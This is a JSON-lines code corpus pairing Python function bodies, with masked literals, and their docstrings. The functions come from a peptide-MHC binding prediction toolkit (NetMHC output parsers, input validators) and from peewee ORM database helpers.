{"signature": "def _check_peptide_lengths(self, peptide_lengths=None):", "body": "if not peptide_lengths:<EOL><INDENT>peptide_lengths = self.default_peptide_lengths<EOL><DEDENT>if not peptide_lengths:<EOL><INDENT>raise ValueError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"))<EOL><DEDENT>if isinstance(peptide_lengths, int):<EOL><INDENT>peptide_lengths = [peptide_lengths]<EOL><DEDENT>require_iterable_of(peptide_lengths, int)<EOL>for peptide_length in peptide_lengths:<EOL><INDENT>if (self.min_peptide_length is not None and<EOL>peptide_length < self.min_peptide_length):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>peptide_length,<EOL>self.min_peptide_length))<EOL><DEDENT>elif (self.max_peptide_length is not None and<EOL>peptide_length > self.max_peptide_length):<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>peptide_length,<EOL>self.max_peptide_length))<EOL><DEDENT><DEDENT>return peptide_lengths<EOL>", "docstring": "If peptide lengths not specified, then try using the default\nlengths associated with this predictor object. If those aren't\na valid non-empty sequence of integers, then raise an exception.\nOtherwise return the peptide lengths.", "id": "f935:c0:m5"}
{"signature": "def _check_peptide_inputs(self, peptides):", "body": "require_iterable_of(peptides, string_types)<EOL>check_X = not self.allow_X_in_peptides<EOL>check_lower = not self.allow_lowercase_in_peptides<EOL>check_min_length = self.min_peptide_length is not None<EOL>min_length = self.min_peptide_length<EOL>check_max_length = self.max_peptide_length is not None<EOL>max_length = self.max_peptide_length<EOL>for p in peptides:<EOL><INDENT>if not p.isalpha():<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % p)<EOL><DEDENT>elif check_X and \"<STR_LIT:X>\" in p:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % p)<EOL><DEDENT>elif check_lower and not p.isupper():<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % p)<EOL><DEDENT>elif check_min_length and len(p) < min_length:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>p, len(p), min_length))<EOL><DEDENT>elif check_max_length and len(p) > max_length:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (<EOL>p, len(p), max_length))<EOL><DEDENT><DEDENT>", "docstring": "Check peptide sequences to make sure they are valid for this predictor.", "id": "f935:c0:m7"}
{"signature": "def predict_subsequences(<EOL>self,<EOL>sequence_dict,<EOL>peptide_lengths=None):", "body": "if isinstance(sequence_dict, string_types):<EOL><INDENT>sequence_dict = {\"<STR_LIT>\": sequence_dict}<EOL><DEDENT>elif isinstance(sequence_dict, (list, tuple)):<EOL><INDENT>sequence_dict = {seq: seq for seq in sequence_dict}<EOL><DEDENT>peptide_lengths = self._check_peptide_lengths(peptide_lengths)<EOL>peptide_set = set([])<EOL>peptide_to_name_offset_pairs = defaultdict(list)<EOL>for name, sequence in sequence_dict.items():<EOL><INDENT>for peptide_length in peptide_lengths:<EOL><INDENT>for i in range(len(sequence) - peptide_length + <NUM_LIT:1>):<EOL><INDENT>peptide = sequence[i:i + peptide_length]<EOL>peptide_set.add(peptide)<EOL>peptide_to_name_offset_pairs[peptide].append((name, i))<EOL><DEDENT><DEDENT><DEDENT>peptide_list = sorted(peptide_set)<EOL>binding_predictions = self.predict_peptides(peptide_list)<EOL>results = []<EOL>for binding_prediction in binding_predictions:<EOL><INDENT>for name, offset in peptide_to_name_offset_pairs[<EOL>binding_prediction.peptide]:<EOL><INDENT>results.append(binding_prediction.clone_with_updates(<EOL>source_sequence_name=name,<EOL>offset=offset))<EOL><DEDENT><DEDENT>self._check_results(<EOL>results,<EOL>peptides=peptide_set,<EOL>alleles=self.alleles)<EOL>return BindingPredictionCollection(results)<EOL>", "docstring": "Given a dictionary mapping sequence names to amino acid strings,\nand an optional list of peptide lengths, returns a\nBindingPredictionCollection.", "id": "f935:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def _check_hla_alleles(<EOL>alleles,<EOL>valid_alleles=None):<DEDENT>", "body": "require_iterable_of(alleles, string_types, \"<STR_LIT>\")<EOL>alleles = {<EOL>normalize_allele_name(allele.strip().upper())<EOL>for allele in alleles<EOL>}<EOL>if valid_alleles:<EOL><INDENT>missing_alleles = [<EOL>allele<EOL>for allele in alleles<EOL>if allele not in valid_alleles<EOL>]<EOL>if len(missing_alleles) > <NUM_LIT:0>:<EOL><INDENT>raise UnsupportedAllele(<EOL>\"<STR_LIT>\" % missing_alleles)<EOL><DEDENT><DEDENT>return list(alleles)<EOL>", "docstring": "Given a list of HLA alleles and an optional list of valid\nHLA alleles, return a set of alleles that we will pass into\nthe MHC binding predictor.", "id": "f935:c0:m11"}
{"signature": "def seq_to_str(obj, sep=\"<STR_LIT:U+002C>\"):", "body": "if isinstance(obj, string_classes):<EOL><INDENT>return obj<EOL><DEDENT>elif isinstance(obj, (list, tuple)):<EOL><INDENT>return sep.join([str(x) for x in obj])<EOL><DEDENT>else:<EOL><INDENT>return str(obj)<EOL><DEDENT>", "docstring": "Given a sequence convert it to a comma separated string.\nIf, however, the argument is a single object, return its string\nrepresentation.", "id": "f937:m0"}
{"signature": "def main(args_list=None):", "body": "args = parse_args(args_list)<EOL>binding_predictions = run_predictor(args)<EOL>df = binding_predictions.to_dataframe()<EOL>logger.info('<STR_LIT>', df)<EOL>if args.output_csv:<EOL><INDENT>df.to_csv(args.output_csv, index=False)<EOL>print(\"<STR_LIT>\" % args.output_csv)<EOL><DEDENT>", "docstring": "Script to make pMHC binding predictions from amino acid sequences.\n\nUsage example:\n    mhctools\n        --sequence SFFPIQQQQQAAALLLI \\\n        --sequence SILQQQAQAQQAQAASSSC \\\n        --extract-subsequences \\\n        --mhc-predictor netmhc \\\n        --mhc-alleles HLA-A0201 H2-Db \\\n        --mhc-predictor netmhc \\\n        --output-csv epitope.csv", "id": "f939:m4"}
{"signature": "def parse_int_list(string):", "body": "integers = []<EOL>for comma_part in string.split(\"<STR_LIT:U+002C>\"):<EOL><INDENT>for substring in comma_part.split(\"<STR_LIT:U+0020>\"):<EOL><INDENT>if len(substring) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT:->\" in substring:<EOL><INDENT>left, right = substring.split(\"<STR_LIT:->\")<EOL>left_val = int(left.strip())<EOL>right_val = int(right.strip())<EOL>integers.extend(range(left_val, right_val + <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>integers.append(int(substring.strip()))<EOL><DEDENT><DEDENT><DEDENT>return integers<EOL>", "docstring": "Parses a string of numbers and ranges into a list of integers. Ranges\nare separated by dashes and inclusive of both the start and end number.\n\nExample:\n    parse_int_list(\"8 9 10,11-13\") == [8,9,10,11,12,13]", "id": "f941:m0"}
{"signature": "def split_stdout_lines(stdout):", "body": "<EOL>seen_dash = False<EOL>for l in stdout.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>l = l.strip()<EOL>if l.startswith(\"<STR_LIT>\"):<EOL><INDENT>seen_dash = True<EOL>continue<EOL><DEDENT>if not seen_dash:<EOL><INDENT>continue<EOL><DEDENT>if not l or l.startswith(\"<STR_LIT:#>\"):<EOL><INDENT>continue<EOL><DEDENT>if any(l.startswith(word) for word in NETMHC_TOKENS):<EOL><INDENT>continue<EOL><DEDENT>yield l.split()<EOL><DEDENT>", "docstring": "Given the standard output from NetMHC/NetMHCpan/NetMHCcons tools,\ndrop all {comments, lines of hyphens, empty lines} and split the\nremaining lines by whitespace.", "id": "f943:m1"}
{"signature": "def clean_fields(fields, ignored_value_indices, transforms):", "body": "cleaned_fields = []<EOL>for i, field in enumerate(fields):<EOL><INDENT>if field in ignored_value_indices:<EOL><INDENT>ignored_index = ignored_value_indices[field]<EOL>if ignored_index == i:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>cleaned_field = transforms[i](field) if i in transforms else field<EOL>cleaned_fields.append(cleaned_field)<EOL><DEDENT>return cleaned_fields<EOL>", "docstring": "Sometimes, NetMHC* has fields that are only populated sometimes, which results\nin different count/indexing of the fields when that happens.\n\nWe handle this by looking for particular strings at particular indices, and\ndeleting them.\n\nWarning: this may result in unexpected behavior sometimes. For example, we\nignore \"SB\" and \"WB\" for NetMHC 3.x output; which also means that any line\nwith a key called SB or WB will be ignored.\n\nAlso, sometimes NetMHC* will have fields that we want to modify in some\nconsistent way, e.g. NetMHCpan3 has 1-based offsets and all other predictors\nhave 0-based offsets (and we rely on 0-based offsets). We handle this using\na map from field index to transform function.", "id": "f943:m2"}
{"signature": "def parse_stdout(<EOL>stdout,<EOL>prediction_method_name,<EOL>sequence_key_mapping,<EOL>key_index,<EOL>offset_index,<EOL>peptide_index,<EOL>allele_index,<EOL>ic50_index,<EOL>rank_index,<EOL>log_ic50_index,<EOL>ignored_value_indices={},<EOL>transforms={}):", "body": "binding_predictions = []<EOL>for fields in split_stdout_lines(stdout):<EOL><INDENT>fields = clean_fields(fields, ignored_value_indices, transforms)<EOL>offset = int(fields[offset_index])<EOL>peptide = str(fields[peptide_index])<EOL>allele = str(fields[allele_index])<EOL>ic50 = float(fields[ic50_index])<EOL>rank = float(fields[rank_index]) if rank_index else <NUM_LIT:0.0><EOL>log_ic50 = float(fields[log_ic50_index])<EOL>key = str(fields[key_index])<EOL>if sequence_key_mapping:<EOL><INDENT>original_key = sequence_key_mapping[key]<EOL><DEDENT>else:<EOL><INDENT>original_key = key<EOL><DEDENT>binding_predictions.append(BindingPrediction(<EOL>source_sequence_name=original_key,<EOL>offset=offset,<EOL>peptide=peptide,<EOL>allele=normalize_allele_name(allele),<EOL>affinity=ic50,<EOL>percentile_rank=rank,<EOL>log_affinity=log_ic50,<EOL>prediction_method_name=prediction_method_name))<EOL><DEDENT>return binding_predictions<EOL>", "docstring": "Generic function for parsing any NetMHC* output, given expected indices\nof values of interest.\n\nParameters\n----------\nignored_value_indices : dict\n    Map from values to the positions we'll ignore them at. See clean_fields.\n\ntransforms  : dict\n    Map from field index to a transform function to be applied to values in\n    that field. See clean_fields.\n\nReturns BindingPredictionCollection", "id": "f943:m3"}
{"signature": "def parse_netmhc3_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:4>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:1>,<EOL>allele_index=<NUM_LIT:5>,<EOL>ic50_index=<NUM_LIT:3>,<EOL>rank_index=None,<EOL>log_ic50_index=<NUM_LIT:2>,<EOL>ignored_value_indices={\"<STR_LIT>\": <NUM_LIT:4>, \"<STR_LIT>\": <NUM_LIT:4>})<EOL>", "docstring": "Parse the output format for NetMHC 3.x, which looks like:\n\n----------------------------------------------------------------------------------------------------\npos    peptide      logscore affinity(nM) Bind Level    Protein Name     Allele\n----------------------------------------------------------------------------------------------------\n0  SIINKFELL         0.437          441         WB              A1 HLA-A02:01\n--------------------------------------------------------------------------------------------------\n0  SIINKFFFQ         0.206         5411                         A2 HLA-A02:01\n1  IINKFFFQQ         0.128        12544                         A2 HLA-A02:01\n2  INKFFFQQQ         0.046        30406                         A2 HLA-A02:01\n3  NKFFFQQQQ         0.050        29197                         A2 HLA-A02:01\n--------------------------------------------------------------------------------------------------", "id": "f943:m4"}
{"signature": "def parse_netmhc4_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:10>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:2>,<EOL>allele_index=<NUM_LIT:1>,<EOL>ic50_index=<NUM_LIT:12>,<EOL>rank_index=<NUM_LIT>,<EOL>log_ic50_index=<NUM_LIT:11>)<EOL>", "docstring": "# Peptide length 9\n# Rank Threshold for Strong binding peptides   0.500\n# Rank Threshold for Weak binding peptides   2.000\n-----------------------------------------------------------------------------------\n  pos          HLA      peptide         Core Offset  I_pos  I_len  D_pos  D_len        iCore        Identity 1-log50k(aff) Affinity(nM)    %Rank  BindLevel\n-----------------------------------------------------------------------------------\n    0    HLA-A0201    TMDKSELVQ    TMDKSELVQ      0      0      0      0      0    TMDKSELVQ 143B_BOVIN_P293         0.051     28676.59    43.00\n    1    HLA-A0201    MDKSELVQK    MDKSELVQK      0      0      0      0      0    MDKSELVQK 143B_BOVIN_P293         0.030     36155.15    70.00\n    2    HLA-A0201    DKSELVQKA    DKSELVQKA      0      0      0      0      0    DKSELVQKA 143B_BOVIN_P293         0.030     36188.42    70.00\n    3    HLA-A0201    KSELVQKAK    KSELVQKAK      0      0      0      0      0    KSELVQKAK 143B_BOVIN_P293         0.032     35203.22    65.00\n    4    HLA-A0201    SELVQKAKL    SELVQKAKL      0      0      0      0      0    SELVQKAKL 143B_BOVIN_P293         0.031     35670.99    65.00\n    5    HLA-A0201    ELVQKAKLA    ELVQKAKLA      0      0      0      0      0    ELVQKAKLA 143B_BOVIN_P293         0.080     21113.07    29.00\n    6    HLA-A0201    LVQKAKLAE    LVQKAKLAE      0      0      0      0      0    LVQKAKLAE 143B_BOVIN_P293         0.027     37257.56    75.00\n    7    HLA-A0201    VQKAKLAEQ    VQKAKLAEQ      0      0      0      0      0    VQKAKLAEQ 143B_BOVIN_P293         0.040     32404.62    55.00\n  219    HLA-A0201    QLLRDNLTL    QLLRDNLTL      0      0      0      0      0    QLLRDNLTL 143B_BOVIN_P293         0.527       167.10     1.50 <= WB\n-----------------------------------------------------------------------------------", "id": "f943:m5"}
{"signature": "def parse_netmhcpan28_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "check_stdout_error(stdout, \"<STR_LIT>\")<EOL>return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:3>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:2>,<EOL>allele_index=<NUM_LIT:1>,<EOL>ic50_index=<NUM_LIT:5>,<EOL>rank_index=<NUM_LIT:6>,<EOL>log_ic50_index=<NUM_LIT:4>)<EOL>", "docstring": "# Affinity Threshold for Strong binding peptides  50.000',\n# Affinity Threshold for Weak binding peptides 500.000',\n# Rank Threshold for Strong binding peptides   0.500',\n# Rank Threshold for Weak binding peptides   2.000',\n----------------------------------------------------------------------------\npos  HLA  peptide  Identity 1-log50k(aff) Affinity(nM)    %Rank  BindLevel\n----------------------------------------------------------------------------\n  0  HLA-A*02:03    QQQQQYFPE   id0         0.024     38534.25   50.00\n  1  HLA-A*02:03    QQQQYFPEI   id0         0.278      2461.53   15.00\n  2  HLA-A*02:03    QQQYFPEIT   id0         0.078     21511.53   50.00\n  3  HLA-A*02:03    QQYFPEITH   id0         0.041     32176.84   50.00\n  4  HLA-A*02:03    QYFPEITHI   id0         0.085     19847.09   32.00\n  5  HLA-A*02:03    YFPEITHII   id0         0.231      4123.85   15.00\n  6  HLA-A*02:03    FPEITHIII   id0         0.060     26134.28   50.00\n  7  HLA-A*02:03    PEITHIIIA   id0         0.034     34524.63   50.00\n  8  HLA-A*02:03    EITHIIIAS   id0         0.076     21974.48   50.00\n  9  HLA-A*02:03    ITHIIIASS   id0         0.170      7934.26   32.00\n 10  HLA-A*02:03    THIIIASSS   id0         0.040     32361.18   50.00\n 11  HLA-A*02:03    HIIIASSSL   id0         0.515       189.74    4.00 <= WB", "id": "f943:m6"}
{"signature": "def parse_netmhcpan3_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "<EOL>transforms = {<EOL><NUM_LIT:0>: lambda x: int(x) - <NUM_LIT:1>,<EOL>}<EOL>return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:10>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:2>,<EOL>allele_index=<NUM_LIT:1>,<EOL>ic50_index=<NUM_LIT:12>,<EOL>rank_index=<NUM_LIT>,<EOL>log_ic50_index=<NUM_LIT:11>,<EOL>transforms=transforms)<EOL>", "docstring": "# Rank Threshold for Strong binding peptides   0.500\n# Rank Threshold for Weak binding peptides   2.000\n-----------------------------------------------------------------------------------\nPos          HLA         Peptide       Core Of Gp Gl Ip Il        Icore        Identity   Score Aff(nM)   %Rank  BindLevel\n-----------------------------------------------------------------------------------\n1  HLA-B*18:01        MFCQLAKT  MFCQLAKT-  0  0  0  8  1     MFCQLAKT     sequence0_0 0.02864 36676.0   45.00\n2  HLA-B*18:01        FCQLAKTY  F-CQLAKTY  0  0  0  1  1     FCQLAKTY     sequence0_0 0.07993 21056.5   13.00", "id": "f943:m7"}
{"signature": "def parse_netmhcpan4_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "<EOL>return parse_netmhcpan3_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping)<EOL>", "docstring": "# NetMHCpan version 4.0\n\n# Tmpdir made /var/folders/jc/fyrvcrcs3sb8g4mkdg6nl_t80000gp/T//netMHCpanuH3SvY\n# Input is in PEPTIDE format\n\n# Make binding affinity predictions\n\nHLA-A02:01 : Distance to training data  0.000 (using nearest neighbor HLA-A02:01)\n\n# Rank Threshold for Strong binding peptides   0.500\n# Rank Threshold for Weak binding peptides   2.000\n-----------------------------------------------------------------------------------\n  Pos          HLA         Peptide       Core Of Gp Gl Ip Il        Icore        Identity     Score Aff(nM)   %Rank  BindLevel\n-----------------------------------------------------------------------------------\n    1  HLA-A*02:01        SIINFEKL  SIINF-EKL  0  0  0  5  1     SIINFEKL         PEPLIST 0.1141340 14543.1 18.9860\n-----------------------------------------------------------------------------------\n\nProtein PEPLIST. Allele HLA-A*02:01. Number of high binders 0. Number of weak binders 0. Number of peptides 1", "id": "f943:m8"}
{"signature": "def parse_netmhccons_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:3>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:2>,<EOL>allele_index=<NUM_LIT:1>,<EOL>ic50_index=<NUM_LIT:5>,<EOL>rank_index=<NUM_LIT:6>,<EOL>log_ic50_index=<NUM_LIT:4>)<EOL>", "docstring": "# Affinity Threshold for Strong binding peptides  50.000',\n# Affinity Threshold for Weak binding peptides 500.000',\n# Rank Threshold for Strong binding peptides   0.500',\n# Rank Threshold for Weak binding peptides   2.000',\n----------------------------------------------------------------------------\npos  HLA  peptide  Identity 1-log50k(aff) Affinity(nM)    %Rank  BindLevel\n----------------------------------------------------------------------------\n  0  HLA-A*02:03    QQQQQYFPE   id0         0.024     38534.25   50.00\n  1  HLA-A*02:03    QQQQYFPEI   id0         0.278      2461.53   15.00\n  2  HLA-A*02:03    QQQYFPEIT   id0         0.078     21511.53   50.00\n  3  HLA-A*02:03    QQYFPEITH   id0         0.041     32176.84   50.00\n  4  HLA-A*02:03    QYFPEITHI   id0         0.085     19847.09   32.00\n  5  HLA-A*02:03    YFPEITHII   id0         0.231      4123.85   15.00\n  6  HLA-A*02:03    FPEITHIII   id0         0.060     26134.28   50.00\n  7  HLA-A*02:03    PEITHIIIA   id0         0.034     34524.63   50.00\n  8  HLA-A*02:03    EITHIIIAS   id0         0.076     21974.48   50.00\n  9  HLA-A*02:03    ITHIIIASS   id0         0.170      7934.26   32.00\n 10  HLA-A*02:03    THIIIASSS   id0         0.040     32361.18   50.00\n 11  HLA-A*02:03    HIIIASSSL   id0         0.515       189.74    4.00 <= WB", "id": "f943:m9"}
{"signature": "def parse_netmhciipan_stdout(<EOL>stdout,<EOL>prediction_method_name=\"<STR_LIT>\",<EOL>sequence_key_mapping=None):", "body": "check_stdout_error(stdout, \"<STR_LIT>\")<EOL>return parse_stdout(<EOL>stdout=stdout,<EOL>prediction_method_name=prediction_method_name,<EOL>sequence_key_mapping=sequence_key_mapping,<EOL>key_index=<NUM_LIT:3>,<EOL>offset_index=<NUM_LIT:0>,<EOL>peptide_index=<NUM_LIT:2>,<EOL>allele_index=<NUM_LIT:1>,<EOL>ic50_index=<NUM_LIT:8>,<EOL>rank_index=<NUM_LIT:9>,<EOL>log_ic50_index=<NUM_LIT:7>)<EOL>", "docstring": "# Threshold for Strong binding peptides (IC50)\t50.000 nM\n# Threshold for Weak binding peptides (IC50)\t500.000 nM\n\n# Threshold for Strong binding peptides (%Rank)\t0.5%\n# Threshold for Weak binding peptides (%Rank)\t2%\n\n# Allele: DRB1_0301\n--------------------------------------------------------------------------------------------------------------------------------------------\n   Seq          Allele              Peptide    Identity  Pos      Core  Core_Rel 1-log50k(aff)  Affinity(nM)  %Rank Exp_Bind  BindingLevel\n--------------------------------------------------------------------------------------------------------------------------------------------\n     0         DRB1_0301      AGFKGEQGPKGEPG    Sequence    2    FKGEQGPKG 0.810         0.080      21036.68  50.00   9.999\n     1         DRB1_0301     GELIGTLNAAKVPAD    Sequence    2    LIGTLNAAK 0.650         0.340       1268.50  32.00   9.999\n     2         DRB1_0301    PEVIPMFSALSEGATP    Sequence    5    MFSALSEGA 0.385         0.180       7161.16  50.00   9.999\n     3         DRB1_0301       PKYVKQNTLKLAT    Sequence    2    YVKQNTLKL 0.575         0.442        418.70   6.00   9.999   <=WB\n     4         DRB1_0301     VGSDWRFLRGYHQYA    Sequence    0    VGSDWRFLR 0.575         0.466        322.07  10.00   9.999   <=WB\n     5         DRB1_0301         XFVKQNAAALX    Sequence    2    VKQNAAALX 0.500         0.262       2939.20  15.00   9.999\n     6         DRB1_0301     AAYSDQATPLLLSPR    Sequence    1    AYSDQATPL 0.395         0.291       2152.21  50.00   9.999\n     7         DRB1_0301     PVSKMRMATPLLMQA    Sequence    4    MRMATPLLM 0.890         0.770         12.00   0.01   9.999   <=SB\n     8         DRB1_0301        AYMRADAAAGGA    Sequence    2    MRADAAAGG 0.835         0.303       1887.87  15.00   9.999\n     9         DRB1_0301       PKYVKQNTLKLAT    Sequence    2    YVKQNTLKL 0.575         0.442        418.70   6.00   9.999   <=WB\n    10         DRB1_0301     ENPVVHFFKNIVTPR    Sequence    6    FFKNIVTPR 0.425         0.357       1049.04  32.00   9.999", "id": "f943:m10"}
{"signature": "def to_dataframe(<EOL>self,<EOL>columns=BindingPrediction.fields + (\"<STR_LIT>\",)):", "body": "return pd.DataFrame.from_records(<EOL>[tuple([getattr(x, name) for name in columns]) for x in self],<EOL>columns=columns)<EOL>", "docstring": "Converts collection of BindingPrediction objects to DataFrame", "id": "f948:c0:m0"}
{"signature": "def NetMHCpan(<EOL>alleles,<EOL>program_name=\"<STR_LIT>\",<EOL>process_limit=-<NUM_LIT:1>,<EOL>default_peptide_lengths=[<NUM_LIT:9>],<EOL>extra_flags=[]):", "body": "<EOL>with open(os.devnull, '<STR_LIT:w>') as devnull:<EOL><INDENT>output = check_output([<EOL>program_name, \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>stderr=devnull)<EOL><DEDENT>output_str = output.decode(\"<STR_LIT:ascii>\", \"<STR_LIT:ignore>\")<EOL>common_kwargs = {<EOL>\"<STR_LIT>\": alleles,<EOL>\"<STR_LIT>\": default_peptide_lengths,<EOL>\"<STR_LIT>\": program_name,<EOL>\"<STR_LIT>\": process_limit,<EOL>\"<STR_LIT>\": extra_flags,<EOL>}<EOL>if \"<STR_LIT>\" in output_str:<EOL><INDENT>return NetMHCpan28(**common_kwargs)<EOL><DEDENT>elif \"<STR_LIT>\" in output_str:<EOL><INDENT>return NetMHCpan3(**common_kwargs)<EOL><DEDENT>elif \"<STR_LIT>\" in output_str:<EOL><INDENT>return NetMHCpan4(**common_kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "This function wraps NetMHCpan28 and NetMHCpan3 to automatically detect which class\nto use, with the help of the miraculous and strange '--version' netmhcpan argument.", "id": "f950:m0"}
{"signature": "def utcnow_no_ms():", "body": "return datetime.datetime.utcnow().replace(microsecond=<NUM_LIT:0>)<EOL>", "docstring": "Returns utcnow without microseconds", "id": "f967:m0"}
{"signature": "def create_tables(self):", "body": "for cls in self:<EOL><INDENT>cls.create_table(fail_silently=True)<EOL><DEDENT>", "docstring": "Create database tables", "id": "f967:c0:m1"}
{"signature": "def destroy_tables(self):", "body": "for cls in self:<EOL><INDENT>cls.drop_table(fail_silently=True)<EOL><DEDENT>", "docstring": "Destroy database tables", "id": "f967:c0:m2"}
{"signature": "def register(self, model_cls):", "body": "assert issubclass(model_cls, peewee.Model)<EOL>assert not hasattr(model_cls._meta, '<STR_LIT>')<EOL>if model_cls in self:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self.append(model_cls)<EOL>model_cls._meta.database = self.dbm<EOL>return model_cls<EOL>", "docstring": "Register model(s) with app", "id": "f967:c0:m3"}
{"signature": "def connect(self):", "body": "for name, connection in self.items():<EOL><INDENT>connection.connect()<EOL><DEDENT>", "docstring": "Create connection for all databases", "id": "f967:c1:m1"}
{"signature": "def disconnect(self):", "body": "for name, connection in self.items():<EOL><INDENT>if not connection.is_closed():<EOL><INDENT>connection.close()<EOL><DEDENT><DEDENT>", "docstring": "Disconnect from all databases", "id": "f967:c1:m2"}
{"signature": "def get_database(self, model):", "body": "for router in self.routers:<EOL><INDENT>r = router.get_database(model)<EOL>if r is not None:<EOL><INDENT>return r<EOL><DEDENT><DEDENT>return self.get('<STR_LIT:default>')<EOL>", "docstring": "Find matching database router", "id": "f967:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def get_or_none(cls, **kwargs):<DEDENT>", "body": "try:<EOL><INDENT>return cls.get(**kwargs)<EOL><DEDENT>except cls.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "XXX: needs unit test", "id": "f967:c4:m2"}
{"signature": "@classmethod<EOL><INDENT>def atomic(self):<DEDENT>", "body": "return self._meta.database.atomic()<EOL>", "docstring": "Shortcut method for creating atomic context", "id": "f967:c4:m3"}
{"signature": "def to_cursor_ref(self):", "body": "fields = self._meta.get_primary_keys()<EOL>assert fields<EOL>values = {field.name:self.__data__[field.name] for field in fields}<EOL>return values<EOL>", "docstring": "Returns dict of values to uniquely reference this item", "id": "f967:c4:m4"}
{"signature": "@classmethod<EOL><INDENT>def from_cursor_ref(self, cursor):<DEDENT>", "body": "return self.get(**cursor)<EOL>", "docstring": "Returns model instance from unique cursor reference", "id": "f967:c4:m5"}
{"signature": "def refetch(self):", "body": "ref = self.to_cursor_ref()<EOL>return self.from_cursor_ref(ref)<EOL>", "docstring": "Return new model instance with fresh data from database\nOnly works on models which have a primary or compound key\nSee https://github.com/coleifer/peewee/issues/638\n\nXXX: Add support for models without PK", "id": "f967:c4:m6"}
{"signature": "@classmethod<EOL><INDENT>def paginate_query(self, query, count, offset=None, sort=None):<DEDENT>", "body": "assert isinstance(query, peewee.Query)<EOL>assert isinstance(count, int)<EOL>assert isinstance(offset, (str, int, type(None)))<EOL>assert isinstance(sort, (list, set, tuple, type(None)))<EOL>fields = query.model._meta.get_primary_keys()<EOL>if len(fields) == <NUM_LIT:0>:<EOL><INDENT>raise peewee.ProgrammingError(<EOL>'<STR_LIT>')<EOL><DEDENT>if len(fields) > <NUM_LIT:1>:<EOL><INDENT>raise peewee.ProgrammingError(<EOL>'<STR_LIT>')<EOL><DEDENT>if offset is not None:<EOL><INDENT>query = query.where(fields[<NUM_LIT:0>] >= offset)<EOL><DEDENT>order_bys = []<EOL>if sort:<EOL><INDENT>for field, direction in sort:<EOL><INDENT>if not isinstance(direction, str):<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(field))<EOL><DEDENT>direction = direction.lower().strip()<EOL>if direction not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(field))<EOL><DEDENT>order_by = peewee.SQL(field)<EOL>order_by = getattr(order_by, direction)()<EOL>order_bys += [order_by]<EOL><DEDENT><DEDENT>order_bys += [fields[<NUM_LIT:0>].asc()]<EOL>query = query.order_by(*order_bys)<EOL>query = query.limit(count)<EOL>return query<EOL>", "docstring": "Apply pagination to query\n\n:attr query: Instance of `peewee.Query`\n:attr count: Max rows to return\n:attr offset: Pagination offset, str/int\n:attr sort: List of tuples, e.g. [('id', 'asc')]\n\n:returns: Instance of `peewee.Query`", "id": "f967:c7:m0"}
{"signature": "def get_query(self):", "body": "return self.query<EOL>", "docstring": "Return query for our model", "id": "f967:c8:m0"}
{"signature": "def get_paginator(self):", "body": "return self.paginator<EOL>", "docstring": "Return pagination for our model", "id": "f967:c8:m1"}
{"signature": "def apply_filters(self, query, filters):", "body": "assert isinstance(query, peewee.Query)<EOL>assert isinstance(filters, dict)<EOL>", "docstring": "Apply user specified filters to query", "id": "f967:c8:m2"}
